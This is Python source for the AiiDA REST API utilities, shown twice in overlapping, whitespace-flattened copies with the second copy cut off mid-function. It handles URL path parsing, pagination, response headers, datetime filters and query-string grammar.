the query :return: integers: limit, offset, rel_pages """ from math import ceil ## Type checks # Mandatory params try: page = int(page) except ValueError: raise InputValidationError('page number must be an integer') try: total_count = int(total_count) except ValueError: raise InputValidationError('total_count must be an integer') # Non-mandatory params if perpage is not None: try: perpage = int(perpage) except ValueError: raise InputValidationError('perpage must be an integer') else: perpage = self.perpage_default ## First_page is anyway 1 first_page = 1 ## Calculate last page if total_count == 0: last_page = 1 else: last_page = int(ceil(total_count / perpage)) ## Check validity of required page and calculate limit, offset, # previous, # and next page if page > last_page or page < 1: raise RestInputValidationError( f'Non existent page requested. The page range is [{first_page} : {last_page}]' ) limit = perpage offset = (page - 1) * perpage prev_page = None if page > 1: prev_page = page - 1 next_page = None if page < last_page: next_page = page + 1 rel_pages = dict(prev=prev_page, next=next_page, first=first_page, last=last_page) return (limit, offset, rel_pages) def build_headers(self, rel_pages=None, url=None, total_count=None): """ Construct the header dictionary for an HTTP response. It includes related pages, total count of results (before pagination). :param rel_pages: a dictionary defining related pages (first, prev, next, last) :param url: (string) the full url, i.e. the url that the client uses to get Rest resources """ ## Type validation # mandatory parameters try: total_count = int(total_count) except ValueError: raise InputValidationError('total_count must be a long integer') # non mandatory parameters if rel_pages is not None and not isinstance(rel_pages, dict): raise InputValidationError('rel_pages must be a dictionary') if url is not None: try: url = str(url) except ValueError: raise InputValidationError('url must be a string') ## Input consistency # rel_pages cannot be defined without url if rel_pages is not None and url is None: raise InputValidationError("'rel_pages' parameter requires 'url' parameter to be defined") headers = {} ## Setting mandatory headers # set X-Total-Count headers['X-Total-Count'] = total_count expose_header = ['X-Total-Count'] ## Two auxiliary functions def split_url(url): """ Split url into path and query string """ if '?' in url: [path, query_string] = url.split('?') question_mark = '?' else: path = url query_string = '' question_mark = '' return (path, query_string, question_mark) def make_rel_url(rel, page): new_path_elems = path_elems + ['page', str(page)] return f"<{"/".join(new_path_elems)}{question_mark}{query_string}>; rel={rel}, " ## Setting non-mandatory parameters # set links to related pages if rel_pages is not None: (path, query_string, question_mark) = split_url(url) path_elems = self.split_path(path) if path_elems.pop(-1) == 'page' or path_elems.pop(-1) == 'page': links = [] for (rel, page) in rel_pages.items(): if page is not None: links.append(make_rel_url(rel, page)) headers['Link'] = ''.join(links) expose_header.append('Link') else: pass # to expose header access in cross-domain requests headers['Access-Control-Expose-Headers'] = ','.join(expose_header) return headers @staticmethod def build_response(status=200, headers=None, data=None): """ Build the response :param status: status of the response, e.g. 200=OK, 400=bad request :param headers: dictionary for additional header k,v pairs, e.g. X-total-count=<number of rows resulting from query> :param data: a dictionary with the data returned by the Resource :return: a Flask response object """ ## Type checks # mandatory parameters if not isinstance(data, dict): raise InputValidationError('data must be a dictionary') # non-mandatory parameters if status is not None: try: status = int(status) except ValueError: raise InputValidationError('status must be an integer') if headers is not None and not isinstance(headers, dict): raise InputValidationError('header must be a dictionary') # Build response response = jsonify(data) response.status_code = status if headers is not None: for key, val in headers.items(): response.headers[key] = val return response @staticmethod def build_datetime_filter(dtobj): """ This function constructs a filter for a datetime object to be in a certain datetime interval according to the precision. The interval is [reference_datetime, reference_datetime + delta_time], where delta_time is a function fo the required precision. This function should be used to replace a datetime filter based on the equality operator that is inehrently "picky" because it implies matching two datetime objects down to the microsecond or something, by a "tolerant" operator which checks whether the datetime is in an interval. :return: a suitable entry of the filter dictionary """ if not isinstance(dtobj, DatetimePrecision): TypeError('dtobj argument has to be a DatetimePrecision object') reference_datetime = dtobj.dtobj precision = dtobj.precision ## Define interval according to the precision if precision == 1: delta_time = timedelta(days=1) elif precision == 2: delta_time = timedelta(hours=1) elif precision == 3: delta_time = timedelta(minutes=1) elif precision == 4: delta_time = timedelta(seconds=1) else: raise RestValidationError('The datetime resolution is not valid.') filters = {'and': [{'>=': reference_datetime}, {'<': reference_datetime + delta_time}]} return filters def build_translator_parameters(self, field_list): # pylint: disable=too-many-locals,too-many-statements,too-many-branches """ Takes a list of elements resulting from the parsing the query_string and elaborates them in order to provide translator-compliant instructions :param field_list: a (nested) list of elements resulting from parsing the query_string :returns: the filters in the """ ## Create void variables filters = {} orderby = [] limit = None offset = None perpage = None filename = None download_format = None download = True attributes = None attributes_filter = None extras = None extras_filter = None full_type = None # io tree limit parameters tree_in_limit = None tree_out_limit = None ## Count how many time a key has been used for the filters # and check if reserved keyword have been used twice field_counts = {} for field in field_list: field_key = field[0] if field_key not in field_counts.keys(): field_counts[field_key] = 1 # Store the information whether membership operator is used # is_membership = (field[1] is '=in=') else: # Check if the key of a filter using membership operator is used # in multiple filters # if is_membership is True or field[1] is '=in=': # raise RestInputValidationError("If a key appears in " # "multiple filters, " # "those cannot use " # "membership opertor '=in='") field_counts[field_key] = field_counts[field_key] + 1 ## Check the reserved keywords if 'limit' in field_counts.keys() and field_counts['limit'] > 1: raise RestInputValidationError('You cannot specify limit more than once') if 'offset' in field_counts.keys() and field_counts['offset'] > 1: raise RestInputValidationError('You cannot specify offset more than once') if 'perpage' in field_counts.keys() and field_counts['perpage'] > 1: raise RestInputValidationError('You cannot specify perpage more than once') if 'orderby' in field_counts.keys() and field_counts['orderby'] > 1: raise RestInputValidationError('You cannot specify orderby more than once') if 'download' in field_counts.keys() and field_counts['download'] > 1: raise RestInputValidationError('You cannot specify download more than once') if 'download_format' in field_counts.keys() and field_counts['download_format'] > 1: raise RestInputValidationError('You cannot specify download_format more than once') if 'filename' in field_counts.keys() and field_counts['filename'] > 1: raise RestInputValidationError('You cannot specify filename more than once') if 'in_limit' in field_counts.keys() and field_counts['in_limit'] > 1: raise RestInputValidationError('You cannot specify in_limit more than once') if 'out_limit' in field_counts.keys() and field_counts['out_limit'] > 1: raise RestInputValidationError('You cannot specify out_limit more than once') if 'attributes' in field_counts.keys() and field_counts['attributes'] > 1: raise RestInputValidationError('You cannot specify attributes more than once') if 'attributes_filter' in field_counts.keys() and field_counts['attributes_filter'] > 1: raise RestInputValidationError('You cannot specify attributes_filter more than once') if 'extras' in field_counts.keys() and field_counts['extras'] > 1: raise RestInputValidationError('You cannot specify extras more than once') if 'extras_filter' in field_counts.keys() and field_counts['extras_filter'] > 1: raise RestInputValidationError('You cannot specify extras_filter more than once') if 'full_type' in field_counts.keys() and field_counts['full_type'] > 1: raise RestInputValidationError('You cannot specify full_type more than once') ## Extract results for field in field_list: if field[0] == 'limit': if field[1] == '=': limit = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'limit'") elif field[0] == 'offset': if field[1] == '=': offset = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'offset'") elif field[0] == 'perpage': if field[1] == '=': perpage = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'perpage'") elif field[0] == 'orderby': if field[1] == '=': # Consider value (gives string) and value_list (gives list of # strings) cases if isinstance(field[2], list): orderby.extend(field[2]) else: orderby.extend([field[2]]) else: raise RestInputValidationError("only assignment operator '=' is permitted after 'orderby'") elif field[0] == 'download': if field[1] == '=': download = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'download'") elif field[0] == 'download_format': if field[1] == '=': download_format = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'download_format'") elif field[0] == 'filename': if field[1] == '=': filename = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'filename'") elif field[0] == 'full_type': if field[1] == '=': full_type = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'full_type'") elif field[0] == 'in_limit': if field[1] == '=': tree_in_limit = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'in_limit'") elif field[0] == 'out_limit': if field[1] == '=': tree_out_limit = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'out_limit'") elif field[0] == 'attributes': if field[1] == '=': attributes = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'attributes'") elif field[0] == 'attributes_filter': if field[1] == '=': attributes_filter = field[2] else: raise RestInputValidationError( "only assignment operator '=' is permitted after 'attributes_filter'" ) elif field[0] == 'extras': if field[1] == '=': extras = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'extras'") elif field[0] == 'extras_filter': if field[1] == '=': extras_filter = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'extras_filter'") else: ## Construct the filter entry. field_key = field[0] operator = field[1] field_value = field[2] if isinstance(field_value, DatetimePrecision) and operator == '=': filter_value = self.build_datetime_filter(field_value) else: filter_value = {self.op_conv_map[field[1]]: field_value} # Here I treat the AND clause if field_counts[field_key] > 1: if field_key not in filters.keys(): filters.update({field_key: {'and': [filter_value]}}) else: filters[field_key]['and'].append(filter_value) else: filters.update({field_key: filter_value}) # #Impose defaults if needed # if limit is None: # limit = self.limit_default return ( limit, offset, perpage, orderby, filters, download_format, download, filename, tree_in_limit, tree_out_limit, attributes, attributes_filter, extras, extras_filter, full_type ) def parse_query_string(self, query_string): # pylint: disable=too-many-locals """ Function that parse the querystring, extracting infos for limit, offset, ordering, filters, attribute and extra projections. :param query_string (as obtained from request.query_string) :return: parsed values for the querykeys """ from pyparsing import Word, alphas, nums, alphanums, printables, \ ZeroOrMore, OneOrMore, Suppress, Optional, Literal, Group, \ QuotedString, Combine, \ StringStart as SS, StringEnd as SE, \ WordEnd as WE, \ ParseException from pyparsing import pyparsing_common as ppc from dateutil import parser as dtparser from psycopg2.tz import FixedOffsetTimezone ## Define grammar # key types key = Word(f'{alphas}_', f'{alphanums}_') # operators operator = ( Literal('=like=') | Literal('=ilike=') | Literal('=in=') | Literal('=notin=') | Literal('=') | Literal('!=') | Literal('>=') | Literal('>') | Literal('<=') | Literal('<') ) # Value types value_num = ppc.number value_bool = (Literal('true') | Literal('false')).addParseAction(lambda toks: bool(toks[0])) value_string = QuotedString('"', escQuote='""') value_orderby = Combine(Optional(Word('+-', exact=1)) + key) ## DateTimeShift value. First, compose the atomic values and then # combine # them and convert them to datetime objects # Date value_date = Combine( Word(nums, exact=4) + Literal('-') + Word(nums, exact=2) + Literal('-') + Word(nums, exact=2) ) # Time value_time = Combine( Literal('T') + Word(nums, exact=2) + Optional(Literal(':') + Word(nums, exact=2)) + Optional(Literal(':') + Word(nums, exact=2)) ) # Shift value_shift = Combine(Word('+-', exact=1) + Word(nums, exact=2) + Optional(Literal(':') + Word(nums, exact=2))) # Combine atomic values value_datetime = Combine( value_date + Optional(value_time) + Optional(value_shift) + WE(printables.replace('&', '')) # To us the # word must end with '&' or end of the string # Adding WordEnd only here is very important. This makes atomic # values for date, time and shift not really # usable alone individually. ) ######################################################################## def validate_time(toks): """ Function to convert datetime string into datetime object. The format is compliant with ParseAction requirements :param toks: datetime string passed in tokens :return: datetime object """ datetime_string = toks[0] # Check the precision precision = len(datetime_string.replace('T', ':').split(':')) # Parse try: dtobj = dtparser.parse(datetime_string) except ValueError: raise RestInputValidationError( 'time value has wrong format. The ' 'right format is ' '<date>T<time><offset>, ' 'where <date> is expressed as ' '[YYYY]-[MM]-[DD], ' '<time> is expressed as [HH]:[MM]:[' 'SS], ' '<offset> is expressed as +/-[HH]:[' 'MM] ' 'given with ' 'respect to UTC' ) if dtobj.tzinfo is not None and dtobj.utcoffset() is not None: tzoffset_minutes = int(dtobj.utcoffset().total_seconds() // 60) return DatetimePrecision( dtobj.replace(tzinfo=FixedOffsetTimezone(offset=tzoffset_minutes, name=None)), precision ) return DatetimePrecision(dtobj.replace(tzinfo=FixedOffsetTimezone(offset=0, name=None)), precision) ######################################################################## # Convert datetime value to datetime object value_datetime.setParseAction(validate_time) # More General types value = (value_string | value_bool | value_datetime | value_num | value_orderby) # List of values (I do not check the homogeneity of the types of values, # query builder will do it somehow) value_list = Group(value + OneOrMore(Suppress(',') + value) + Optional(Suppress(','))) # Fields single_field = Group(key + operator + value) list_field = Group(key + (Literal('=in=') | Literal('=notin=')) + value_list) orderby_field = Group(key + Literal('=') + value_list) field = (list_field | orderby_field | single_field) # Fields separator separator = Suppress(Literal('&')) # General query string general_grammar = SS() + Optional(field) + ZeroOrMore( separator + field) + \ Optional(separator) + SE() ## Parse the query string try: fields = general_grammar.parseString(query_string) # JQuery adds _=timestamp a parameter to not use cached data/response. # To handle query, remove this "_" parameter from the query string # For more details check issue #789 # (https://github.com/aiidateam/aiida-core/issues/789) in aiida-core field_list = [entry for entry in fields.asList() if entry[0] != '_'] except ParseException as err: raise RestInputValidationError( 'The query string format is invalid. ' "Parser returned this massage: \"{" "}.\" Please notice that the column " 'number ' 'is counted from ' 'the first character of the query ' 'string.'.format(err) ) ## return the translator instructions elaborated from the field_list return self.build_translator_parameters(field_list) def list_routes(): """List available routes""" from flask import current_app output = [] for rule in current_app.url_map.iter_rules(): if rule.endpoint == 'static': continue methods = ','.join(rule.methods) line = urllib.parse.unquote(f'{rule.endpoint:15s} {methods:20s} {rule}') output.append(line) return sorted(set(output)) @decorator def close_session(wrapped, _, args, kwargs): """Close AiiDA SQLAlchemy (QueryBuilder) session This decorator can be used for router endpoints to close the SQLAlchemy global scoped session after the response has been created. This is needed, since the QueryBuilder uses a SQLAlchemy global scoped session no matter the profile's database backend. """ try: return wrapped(*args, **kwargs) finally: get_manager().get_backend().get_session().close()
# -*- coding: utf-8 -*- ########################################################################### # Copyright (c), The AiiDA team. All rights reserved. # # This file is part of the AiiDA code. # # # # The code is hosted on GitHub at https://github.com/aiidateam/aiida-core # # For further information on the license, see the LICENSE.txt file # # For further information please visit http://www.aiida.net # ########################################################################### """ Util methods """ from datetime import datetime, timedelta import urllib.parse from flask import jsonify from flask.json import JSONEncoder from wrapt import decorator from aiida.common.utils import DatetimePrecision from aiida.common.exceptions import InputValidationError, ValidationError from aiida.manage.manager import get_manager from aiida.restapi.common.exceptions import RestValidationError, \ RestInputValidationError # Important to match querybuilder keys PK_DBSYNONYM = 'id' # Example uuid (version 4) UUID_REF = 'd55082b6-76dc-426b-af89-0e08b59524d2' ########################## Classes ##################### class CustomJSONEncoder(JSONEncoder): """ Custom json encoder for serialization. This has to be provided to the Flask app in order to replace the default encoder. """ def default(self, o): # pylint: disable=method-hidden """ Override default method from JSONEncoder to change serializer :param o: Object e.g. dict, list that will be serialized :return: serialized object """ from aiida.restapi.common.config import SERIALIZER_CONFIG # Treat the datetime objects if isinstance(o, datetime): if 'datetime_format' in SERIALIZER_CONFIG.keys() and \ SERIALIZER_CONFIG[ 'datetime_format'] != 'default': if SERIALIZER_CONFIG['datetime_format'] == 'asinput': if o.utcoffset() is not None: o = o - o.utcoffset() return '-'.join([str(o.year), str(o.month).zfill(2), str(o.day).zfill(2)]) + 'T' + \ ':'.join([str( o.hour).zfill(2), str(o.minute).zfill(2), str(o.second).zfill(2)]) # If not returned yet, do it in the default way return JSONEncoder.default(self, o) class Utils: """ A class that gathers all the utility functions for parsing URI, validating request, pass it to the translator, and building HTTP response An istance of Utils has to be included in the api class so that the configuration parameters used to build the api are automatically accessible by the methods of Utils without the need to import them from the config.py file. """ # Conversion map from the query_string operators to the query_builder # operators op_conv_map = { '=': '==', '!=': '!==', '=in=': 'in', '=notin=': '!in', '>': '>', '<': '<', '>=': '>=', '<=': '<=', '=like=': 'like', '=ilike=': 'ilike' } def __init__(self, **kwargs): """ Sets internally the configuration parameters """ self.prefix = kwargs['PREFIX'] self.perpage_default = kwargs['PERPAGE_DEFAULT'] self.limit_default = kwargs['LIMIT_DEFAULT'] def strip_api_prefix(self, path): """ Removes the PREFIX from an URL path. PREFIX must be defined in the config.py file:: PREFIX = "/api/v2" path = "/api/v2/calculations/page/2" strip_api_prefix(path) ==> "/calculations/page/2" :param path: the URL path string :return: the same URL without the prefix """ if path.startswith(self.prefix): return path[len(self.prefix):] raise ValidationError(f'path has to start with {self.prefix}') @staticmethod def split_path(path): """ :param path: entire path contained in flask request :return: list of each element separated by '/' """ return [f for f in path.split('/') if f] def parse_path(self, path_string, parse_pk_uuid=None): # pylint: disable=too-many-return-statements,too-many-branches, too-many-statements """ Takes the path and parse it checking its validity. Does not parse "io", "content" fields. I do not check the validity of the path, since I assume that this is done by the Flask routing methods. :param path_string: the path string :param parse_id_uuid: if 'pk' ('uuid') expects an integer (uuid starting pattern) :return: resource_type (string) page (integer) node_id (string: uuid starting pattern, int: pk) query_type (string)) """ ## Initialization page = None node_id = None query_type = 'default' path = self.split_path(self.strip_api_prefix(path_string)) ## Pop out iteratively the "words" of the path until it is an empty # list. ## This way it should be easier to plug in more endpoint logic # Resource type resource_type = path.pop(0) if not path: return (resource_type, page, node_id, query_type) # Validate uuid or starting pattern of uuid. # Technique: - take our UUID_REF and replace the first characters the # string to be validated as uuid. # - validate instead the newly built string if parse_pk_uuid == 'pk': raw_id = path[0] try: # Check whether it can be an integer node_id = int(raw_id) except ValueError: pass else: path.pop(0) elif parse_pk_uuid == 'uuid': import uuid raw_id = path[0] maybe_uuid = raw_id + UUID_REF[len(raw_id):] try: _ = uuid.UUID(maybe_uuid, version=4) except ValueError: # assume that it cannot be an id and go to the next check pass else: # It is a node_id so pop out the path element node_id = raw_id path.pop(0) if not path: return (resource_type, page, node_id, query_type) if path[0] in [ 'projectable_properties', 'statistics', 'full_types', 'full_types_count', 'download', 'download_formats', 'report', 'status', 'input_files', 'output_files' ]: query_type = path.pop(0) if path: raise RestInputValidationError('Given url does not accept further fields') elif path[0] in ['links', 'contents']: path.pop(0) query_type = path.pop(0) elif path[0] in ['repo']: path.pop(0) query_type = f'repo_{path.pop(0)}' if not path: return (resource_type, page, node_id, query_type) # Page (this has to be in any case the last field) if path[0] == 'page': path.pop(0) if not path: page = 1 return (resource_type, page, node_id, query_type) page = int(path.pop(0)) else: raise RestInputValidationError('The requested URL is not found on the server.') return (resource_type, page, node_id, query_type) def validate_request( self, limit=None, offset=None, perpage=None, page=None, query_type=None, is_querystring_defined=False ): # pylint: disable=fixme,no-self-use,too-many-arguments,too-many-branches """ Performs various checks on the consistency of the request. Add here all the checks that you want to do, except validity of the page number that is done in paginate(). Future additional checks must be added here """ # TODO Consider using **kwargs so to make easier to add more validations # 1. perpage incompatible with offset and limits if perpage is not None and (limit is not None or offset is not None): raise RestValidationError('perpage key is incompatible with limit and offset') # 2. /page/<int: page> in path is incompatible with limit and offset if page is not None and (limit is not None or offset is not None): raise RestValidationError('requesting a specific page is incompatible with limit and offset') # 3. perpage requires that the path contains a page request if perpage is not None and page is None: raise RestValidationError( 'perpage key requires that a page is ' 'requested (i.e. the path must contain ' '/page/)' ) # 4. No querystring if query type = projectable_properties' if query_type in ('projectable_properties',) and is_querystring_defined: raise RestInputValidationError('projectable_properties requests do not allow specifying a query string') def paginate(self, page, perpage, total_count): """ Calculates limit and offset for the reults of a query, given the page and the number of restuls per page. Moreover, calculates the last available page and raises an exception if the required page exceeds that limit. If number of rows==0, only page 1 exists :param page: integer number of the page that has to be viewed :param perpage: integer defining how many results a page contains :param total_count: the total number of rows retrieved by the query :return: integers: limit, offset, rel_pages """ from math import ceil ## Type checks # Mandatory params try: page = int(page) except ValueError: raise InputValidationError('page number must be an integer') try: total_count = int(total_count) except ValueError: raise InputValidationError('total_count must be an integer') # Non-mandatory params if perpage is not None: try: perpage = int(perpage) except ValueError: raise InputValidationError('perpage must be an integer') else: perpage = self.perpage_default ## First_page is anyway 1 first_page = 1 ## Calculate last page if total_count == 0: last_page = 1 else: last_page = int(ceil(total_count / perpage)) ## Check validity of required page and calculate limit, offset, # previous, # and next page if page > last_page or page < 1: raise RestInputValidationError( f'Non existent page requested. The page range is [{first_page} : {last_page}]' ) limit = perpage offset = (page - 1) * perpage prev_page = None if page > 1: prev_page = page - 1 next_page = None if page < last_page: next_page = page + 1 rel_pages = dict(prev=prev_page, next=next_page, first=first_page, last=last_page) return (limit, offset, rel_pages) def build_headers(self, rel_pages=None, url=None, total_count=None): """ Construct the header dictionary for an HTTP response. It includes related pages, total count of results (before pagination). :param rel_pages: a dictionary defining related pages (first, prev, next, last) :param url: (string) the full url, i.e. the url that the client uses to get Rest resources """ ## Type validation # mandatory parameters try: total_count = int(total_count) except ValueError: raise InputValidationError('total_count must be a long integer') # non mandatory parameters if rel_pages is not None and not isinstance(rel_pages, dict): raise InputValidationError('rel_pages must be a dictionary') if url is not None: try: url = str(url) except ValueError: raise InputValidationError('url must be a string') ## Input consistency # rel_pages cannot be defined without url if rel_pages is not None and url is None: raise InputValidationError("'rel_pages' parameter requires 'url' parameter to be defined") headers = {} ## Setting mandatory headers # set X-Total-Count headers['X-Total-Count'] = total_count expose_header = ['X-Total-Count'] ## Two auxiliary functions def split_url(url): """ Split url into path and query string """ if '?' in url: [path, query_string] = url.split('?') question_mark = '?' else: path = url query_string = '' question_mark = '' return (path, query_string, question_mark) def make_rel_url(rel, page): new_path_elems = path_elems + ['page', str(page)] return f"<{'/'.join(new_path_elems)}{question_mark}{query_string}>; rel={rel}, " ## Setting non-mandatory parameters # set links to related pages if rel_pages is not None: (path, query_string, question_mark) = split_url(url) path_elems = self.split_path(path) if path_elems.pop(-1) == 'page' or path_elems.pop(-1) == 'page': links = [] for (rel, page) in rel_pages.items(): if page is not None: links.append(make_rel_url(rel, page)) headers['Link'] = ''.join(links) expose_header.append('Link') else: pass # to expose header access in cross-domain requests headers['Access-Control-Expose-Headers'] = ','.join(expose_header) return headers @staticmethod def build_response(status=200, headers=None, data=None): """ Build the response :param status: status of the response, e.g. 200=OK, 400=bad request :param headers: dictionary for additional header k,v pairs, e.g. X-total-count=<number of rows resulting from query> :param data: a dictionary with the data returned by the Resource :return: a Flask response object """ ## Type checks # mandatory parameters if not isinstance(data, dict): raise InputValidationError('data must be a dictionary') # non-mandatory parameters if status is not None: try: status = int(status) except ValueError: raise InputValidationError('status must be an integer') if headers is not None and not isinstance(headers, dict): raise InputValidationError('header must be a dictionary') # Build response response = jsonify(data) response.status_code = status if headers is not None: for key, val in headers.items(): response.headers[key] = val return response @staticmethod def build_datetime_filter(dtobj): """ This function constructs a filter for a datetime object to be in a certain datetime interval according to the precision. The interval is [reference_datetime, reference_datetime + delta_time], where delta_time is a function fo the required precision. This function should be used to replace a datetime filter based on the equality operator that is inehrently "picky" because it implies matching two datetime objects down to the microsecond or something, by a "tolerant" operator which checks whether the datetime is in an interval. :return: a suitable entry of the filter dictionary """ if not isinstance(dtobj, DatetimePrecision): TypeError('dtobj argument has to be a DatetimePrecision object') reference_datetime = dtobj.dtobj precision = dtobj.precision ## Define interval according to the precision if precision == 1: delta_time = timedelta(days=1) elif precision == 2: delta_time = timedelta(hours=1) elif precision == 3: delta_time = timedelta(minutes=1) elif precision == 4: delta_time = timedelta(seconds=1) else: raise RestValidationError('The datetime resolution is not valid.') filters = {'and': [{'>=': reference_datetime}, {'<': reference_datetime + delta_time}]} return filters def build_translator_parameters(self, field_list): # pylint: disable=too-many-locals,too-many-statements,too-many-branches """ Takes a list of elements resulting from the parsing the query_string and elaborates them in order to provide translator-compliant instructions :param field_list: a (nested) list of elements resulting from parsing the query_string :returns: the filters in the """ ## Create void variables filters = {} orderby = [] limit = None offset = None perpage = None filename = None download_format = None download = True attributes = None attributes_filter = None extras = None extras_filter = None full_type = None # io tree limit parameters tree_in_limit = None tree_out_limit = None ## Count how many time a key has been used for the filters # and check if reserved keyword have been used twice field_counts = {} for field in field_list: field_key = field[0] if field_key not in field_counts.keys(): field_counts[field_key] = 1 # Store the information whether membership operator is used # is_membership = (field[1] is '=in=') else: # Check if the key of a filter using membership operator is used # in multiple filters # if is_membership is True or field[1] is '=in=': # raise RestInputValidationError("If a key appears in " # "multiple filters, " # "those cannot use " # "membership opertor '=in='") field_counts[field_key] = field_counts[field_key] + 1 ## Check the reserved keywords if 'limit' in field_counts.keys() and field_counts['limit'] > 1: raise RestInputValidationError('You cannot specify limit more than once') if 'offset' in field_counts.keys() and field_counts['offset'] > 1: raise RestInputValidationError('You cannot specify offset more than once') if 'perpage' in field_counts.keys() and field_counts['perpage'] > 1: raise RestInputValidationError('You cannot specify perpage more than once') if 'orderby' in field_counts.keys() and field_counts['orderby'] > 1: raise RestInputValidationError('You cannot specify orderby more than once') if 'download' in field_counts.keys() and field_counts['download'] > 1: raise RestInputValidationError('You cannot specify download more than once') if 'download_format' in field_counts.keys() and field_counts['download_format'] > 1: raise RestInputValidationError('You cannot specify download_format more than once') if 'filename' in field_counts.keys() and field_counts['filename'] > 1: raise RestInputValidationError('You cannot specify filename more than once') if 'in_limit' in field_counts.keys() and field_counts['in_limit'] > 1: raise RestInputValidationError('You cannot specify in_limit more than once') if 'out_limit' in field_counts.keys() and field_counts['out_limit'] > 1: raise RestInputValidationError('You cannot specify out_limit more than once') if 'attributes' in field_counts.keys() and field_counts['attributes'] > 1: raise RestInputValidationError('You cannot specify attributes more than once') if 'attributes_filter' in field_counts.keys() and field_counts['attributes_filter'] > 1: raise RestInputValidationError('You cannot specify attributes_filter more than once') if 'extras' in field_counts.keys() and field_counts['extras'] > 1: raise RestInputValidationError('You cannot specify extras more than once') if 'extras_filter' in field_counts.keys() and field_counts['extras_filter'] > 1: raise RestInputValidationError('You cannot specify extras_filter more than once') if 'full_type' in field_counts.keys() and field_counts['full_type'] > 1: raise RestInputValidationError('You cannot specify full_type more than once') ## Extract results for field in field_list: if field[0] == 'limit': if field[1] == '=': limit = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'limit'") elif field[0] == 'offset': if field[1] == '=': offset = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'offset'") elif field[0] == 'perpage': if field[1] == '=': perpage = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'perpage'") elif field[0] == 'orderby': if field[1] == '=': # Consider value (gives string) and value_list (gives list of # strings) cases if isinstance(field[2], list): orderby.extend(field[2]) else: orderby.extend([field[2]]) else: raise RestInputValidationError("only assignment operator '=' is permitted after 'orderby'") elif field[0] == 'download': if field[1] == '=': download = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'download'") elif field[0] == 'download_format': if field[1] == '=': download_format = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'download_format'") elif field[0] == 'filename': if field[1] == '=': filename = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'filename'") elif field[0] == 'full_type': if field[1] == '=': full_type = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'full_type'") elif field[0] == 'in_limit': if field[1] == '=': tree_in_limit = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'in_limit'") elif field[0] == 'out_limit': if field[1] == '=': tree_out_limit = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'out_limit'") elif field[0] == 'attributes': if field[1] == '=': attributes = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'attributes'") elif field[0] == 'attributes_filter': if field[1] == '=': attributes_filter = field[2] else: raise RestInputValidationError( "only assignment operator '=' is permitted after 'attributes_filter'" ) elif field[0] == 'extras': if field[1] == '=': extras = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'extras'") elif field[0] == 'extras_filter': if field[1] == '=': extras_filter = field[2] else: raise RestInputValidationError("only assignment operator '=' is permitted after 'extras_filter'") else: ## Construct the filter entry. field_key = field[0] operator = field[1] field_value = field[2] if isinstance(field_value, DatetimePrecision) and operator == '=': filter_value = self.build_datetime_filter(field_value) else: filter_value = {self.op_conv_map[field[1]]: field_value} # Here I treat the AND clause if field_counts[field_key] > 1: if field_key not in filters.keys(): filters.update({field_key: {'and': [filter_value]}}) else: filters[field_key]['and'].append(filter_value) else: filters.update({field_key: filter_value}) # #Impose defaults if needed # if limit is None: # limit = self.limit_default return ( limit, offset, perpage, orderby, filters, download_format, download, filename, tree_in_limit, tree_out_limit, attributes, attributes_filter, extras, extras_filter, full_type ) def parse_query_string(self, query_string): # pylint: disable=too-many-locals """ Function that parse the querystring, extracting infos for limit, offset, ordering, filters, attribute and extra projections. :param query_string (as obtained from request.query_string) :return: parsed values for the querykeys """ from pyparsing import Word, alphas, nums, alphanums, printables, \ ZeroOrMore, OneOrMore, Suppress, Optional, Literal, Group, \ QuotedString, Combine, \ StringStart as SS, StringEnd as SE, \ WordEnd as WE, \ ParseException from pyparsing import pyparsing_common as ppc from dateutil import parser as dtparser from psycopg2.tz import FixedOffsetTimezone ## Define grammar # key types key = Word(f'{alphas}_', f'{alphanums}_') # operators operator = ( Literal('=like=') | Literal('=ilike=') | Literal('=in=') | Literal('=notin=') | Literal('=') | Literal('!=') | Literal('>=') | Literal('>') | Literal('<=') | Literal('<') ) # Value types value_num = ppc.number value_bool = (Literal('true') | Literal('false')).addParseAction(lambda toks: bool(toks[0])) value_string = QuotedString('"', escQuote='""') value_orderby = Combine(Optional(Word('+-', exact=1)) + key) ## DateTimeShift value. First, compose the atomic values and then # combine # them and convert them to datetime objects # Date value_date = Combine( Word(nums, exact=4) + Literal('-') + Word(nums, exact=2) + Literal('-') + Word(nums, exact=2) ) # Time value_time = Combine( Literal('T') + Word(nums, exact=2) + Optional(Literal(':') + Word(nums, exact=2)) + Optional(Literal(':') + Word(nums, exact=2)) ) # Shift value_shift = Combine(Word('+-', exact=1) + Word(nums, exact=2) + Optional(Literal(':') + Word(nums, exact=2))) # Combine atomic values value_datetime = Combine( value_date + Optional(value_time) + Optional(value_shift) + WE(printables.replace('&', '')) # To us the # word must end with '&' or end of the string # Adding WordEnd only here is very important. This makes atomic # values for date, time and shift not really # usable alone individually. ) ######################################################################## def validate_time(toks): """ Function to convert datetime string into datetime object. The format is compliant with ParseAction requirements :param toks: datetime string passed in tokens :return: datetime object """ datetime_string = toks[0] # Check the precision precision = len(datetime_string.replace('T', ':').split(':')) # Parse try: dtobj = dtparser.parse(datetime_string) except ValueError: raise RestInputValidationError( 'time value has wrong format. The ' 'right format is ' '<date>T<time><offset>, ' 'where <date> is expressed as ' '[YYYY]-[MM]-[DD], ' '<time> is expressed as [HH]:[MM]:[' 'SS], ' '<offset> 